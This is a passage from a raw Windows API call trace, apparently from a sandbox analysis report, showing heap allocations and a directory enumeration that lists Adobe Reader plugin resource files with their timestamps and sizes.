RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.450] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.450] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125c488 [0082.450] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x128af68 [0082.450] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.451] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d0fa60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeCollabSync.RUM", cAlternateFileName="")) returned 1 [0082.451] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.451] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.451] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.451] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.451] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.451] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125c4a8 [0082.452] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x128ae60 [0082.452] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.452] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7ca00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Annots.RUM", cAlternateFileName="")) returned 1 [0082.452] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.452] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.452] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.453] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.453] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.453] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125c4c8 [0082.453] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x128b280 [0082.453] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.454] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8207ba00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3800, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRdlang32.RUM", cAlternateFileName="")) returned 1 [0082.454] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.454] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.454] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.454] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.454] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.454] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125c4e8 [0082.455] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x128b388 [0082.455] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.455] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x831716c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1fa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Checkers.RUM", cAlternateFileName="")) returned 1 [0082.455] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.455] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.455] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.456] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.456] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.456] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125c508 [0082.456] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x128b490 [0082.456] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.456] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83197820, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x20200, dwReserved0=0x0, dwReserved1=0x0, cFileName="DigSig.RUM", cAlternateFileName="")) returned 1 [0082.457] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.457] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.457] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.457] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.457] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.457] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125c528 [0082.458] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x128b598 [0082.458] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.458] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83197820, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4800, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVA.RUM", cAlternateFileName="")) returned 1 [0082.458] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.458] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.458] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.459] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.459] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.459] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125c548 [0082.459] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x128b6a0 [0082.459] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x6f80) returned 0x129ae70 [0082.460] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1293f28) returned 1 [0082.460] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.460] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8327c060, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="eBook.RUM", cAlternateFileName="")) returned 1 [0082.460] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.460] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.460] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.460] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.461] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.461] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125c568 [0082.461] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x128b7a8 [0082.461] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.461] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83197820, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa400, dwReserved0=0x0, dwReserved1=0x0, cFileName="EScript.RUM", cAlternateFileName="")) returned 1 [0082.461] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.462] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.462] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.462] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.462] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.462] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125c588 [0082.462] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x128b8b0 [0082.463] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.463] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83197820, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IA32.RUM", cAlternateFileName="")) returned 1 [0082.463] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.463] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.463] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.463] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.464] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.464] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125c5a8 [0082.464] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x128b9b8 [0082.464] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.464] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db4daa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MakeAccessible.RUM", cAlternateFileName="")) returned 1 [0082.464] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.465] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.465] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.465] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.465] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.465] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125c5c8 [0082.465] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x128bac0 [0082.466] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.466] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d7bb9a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Multimedia.RUM", cAlternateFileName="")) returned 1 [0082.466] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.466] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.466] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.467] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.467] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.467] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125c5e8 [0082.467] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x128bbc8 [0082.467] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.467] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db27940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDDom.RUM", cAlternateFileName="")) returned 1 [0082.467] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.468] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.468] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.468] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.468] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.468] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125c608 [0082.469] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x128bcd0 [0082.469] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.469] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83197820, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x82600, dwReserved0=0x0, dwReserved1=0x0, cFileName="PPKLITE.RUM", cAlternateFileName="")) returned 1 [0082.469] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.469] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.469] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.470] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.470] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.470] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125c628 [0082.470] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x128bdd8 [0082.470] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.470] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x807a3460, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x154600, dwReserved0=0x0, dwReserved1=0x0, cFileName="RdLang32.RUM", cAlternateFileName="")) returned 1 [0082.470] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.471] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.471] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.471] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.471] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.471] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125c648 [0082.472] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x128bee0 [0082.472] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.472] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8327c060, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadOutLoud.RUM", cAlternateFileName="")) returned 1 [0082.472] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.472] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.472] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.473] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.473] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.473] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125c668 [0082.473] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x128bfe8 [0082.473] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.473] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db017e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reflow.RUM", cAlternateFileName="")) returned 1 [0082.473] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.474] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.474] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.474] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.474] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.474] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125c688 [0082.475] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x128c0f0 [0082.475] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.475] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dadb680, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="SaveAsRTF.RUM", cAlternateFileName="")) returned 1 [0082.475] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.475] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.475] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.476] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.476] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.476] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125c6a8 [0082.476] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x128c1f8 [0082.476] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.476] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83197820, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Search.RUM", cAlternateFileName="")) returned 1 [0082.476] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.477] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.477] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.477] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.477] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.477] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125c6c8 [0082.477] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x128c300 [0082.478] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.478] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83197820, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="SendMail.RUM", cAlternateFileName="")) returned 1 [0082.478] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.478] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.478] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.479] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.479] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.479] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125c6e8 [0082.479] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x128c408 [0082.479] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.479] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, 